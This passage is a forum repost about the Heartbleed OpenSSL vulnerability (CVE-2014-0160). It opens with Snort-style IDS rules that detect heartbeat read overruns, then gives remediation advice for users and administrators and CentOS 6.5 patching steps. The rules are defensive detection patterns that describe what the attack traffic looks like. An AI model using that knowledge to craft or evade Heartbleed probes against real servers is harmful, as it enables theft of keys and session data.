metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|";
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1;
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;
reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516;
rev:3;)

alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established;
content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517;
rev:3;)

民眾與管理者應對措施

不少朋友來信、留言洽詢,到底自己該怎麼針對這次的漏洞應變?我們簡單就一般民眾以及系統管理者說明。

一般民眾應對措施

  • 注意常用的重要網站服務,是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。
  • 若常用網站服務有遭遇此風險,記得更換帳號密碼。
  • 若這段時間有網站通知更換密碼,也請注意是否為釣魚信件。
  • 注意自己的帳號是否有異常活動。
  • 若使用的網站服務就是不更新,一天一信友善提醒管理者

系統管理者應對措施

  • 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2,並密切注意有無後續更新。
  • 重新產生金鑰(Private Key 可能外洩)、Session(Session ID 可能外洩)、密碼(密碼也可能外洩),並且撤銷原本的金鑰。
  • 若無法更新,重新編譯 OpenSSL 以關閉 heartbeat 功能。
  • 使用 Perfect Forward Secrecy (PFS),在未來類似風險發生時減低傷害。

許多業者抱持著僥倖的心態,想說外洩的目標不會輪到自己。如果大家看到這幾天全世界資安人員 / 駭客不眠不休的撈取資料,應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天,就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器,並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線,不然還是請乖乖更新吧。

大事件,大啟示

還記得之前我們提到的「
使用第三方套件所要擔負的資安風險」?這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤,或者是國家機器 NSA 的強力滲透,使用各種第三方的套件都需要承擔極大的風險。但可悲的是,我們卻無法不使用。從這次的事件我們可以學到幾件事情:

  1. 不管哪種攻擊手法、多老舊的攻擊手法,在未來都可能會再度發生。
  2. 程式碼的 review 非常重要,一定要在開發過程中導入程式碼 review 機制,以免開發者寫出含有安全疑慮的程式碼。
  3. 加密、Session 控管、金鑰控管等議題,是永遠的課題。一天沒處理好,在未來的風險中會再度受害。
  4. 風險永遠會發生在你猜不到的地方,可能是程式、可能是函式庫、 可能是加密協定、更可能是 亂數產生器

不斷的增強資安意識、不停的分享新知、廠商做好資安控管及 安全檢測、民眾對企業和政府要求資訊安全,集合大家的力量,是改善資安大環境的不二法門。

你以為自己逃過一劫了嗎?也許你的身體已經血流如柱,而嗜血的鯊魚正游向你。


原文出處:
OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎? | DEVCORE 戴夫寇爾
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]修復CentOS 6.5 OpenSSL CVE-2014-0160資安漏洞的方法

修復CentOS 6.5 OpenSSL CVE-2014-0160資安漏洞的方法

根據 Heartbleed Bug 的揭露,OpenSSL發生了一個嚴重的資安問題。受到影響的Linux有下列幾項

  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 8.4 (OpenSSL 1.0.1e) and 9.1 (OpenSSL 1.0.1c)
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)

阿維自己剛有幾台機器是使用CentOS 6.5架設的,這樣的資安問題當然要趕緊修復,以下就跟大家分享修復的方式

執行 yum update openssl



Installed Packages
Name : openssl
Arch : x86_64
Version : 1.0.1e
Release : 16.el6_5.4
Size : 4.0 M
Repo : installed
From repo : ami-updates
Summary : A general purpose cryptography library with TLS implementation
URL : http://www.openssl.org/
License : OpenSSL
Description : The OpenSSL toolkit provides support for secure communications
: between machines. OpenSSL includes a certificate management tool
: and shared libraries which provide various cryptographic
: algorithms and protocols.</code>
Available Packages
Name : openssl
Arch : i686
Version : 1.0.1e
Release : 16.el6_5.7
Size : 1.5 M
Repo : updates
Summary : A general purpose cryptography library with TLS implementation
URL : http://www.openssl.org/
License : OpenSSL
Description : The OpenSSL toolkit provides support for secure communications
: between machines. OpenSSL includes a certificate management tool
: and shared libraries which provide various cryptographic
: algorithms and protocols.
Name : openssl
Arch : x86_64
Version : 1.0.1e
Release : 16.el6_5.7
Size : 1.5 M
Repo : updates
Summary : A general purpose cryptography library with TLS implementation
URL : http://www.openssl.org/
License : OpenSSL
Description : The OpenSSL toolkit provides support for secure communications
: between machines. OpenSSL includes a certificate management tool
: and shared libraries which provide various cryptographic
: algorithms and protocols.

如果沒有更新檔案可以進行更新
可以到這裡下載SRPM,然後自己進行手動編譯更新 http://vault.centos.org/6.5/updates/Source/SPackages/openssl-1.0.1e-16.el6_5.4.0.1.centos.src.rpm
注意! 不是更新完就沒事了,記得要做下面的動作

lsof -n | grep ssl | grep DEL

執行這段指令之後,會列出需要重新啟動的服務,記得將列出的服務全部重新啟動一次。

重新啟動服務之後,再執行一次這段指令,確保所有需要重新啟動的服務都已經完成重新啟動。

1. 建議重新產生SSL Key,避免原本的Key已經外洩造成資安上的漏洞

2. 修復之後也可以到 http://filippo.io/Heartbleed/ 這個網站進行檢測

3. 建議繼續閱讀 修復CentOS 6.5 OpenSSL CVE-2014-0160資安漏洞後必做工作 來保障主機的安全



原文出處: 修復CentOS 6.5 OpenSSL CVE-2014-0160資安漏洞的方法 阿維雜記本 (Wei's Blog)
前一個主題 | 下一個主題 | 頁首 | | |



Powered by XOOPS 2.0 © 2001-2008 The XOOPS Project|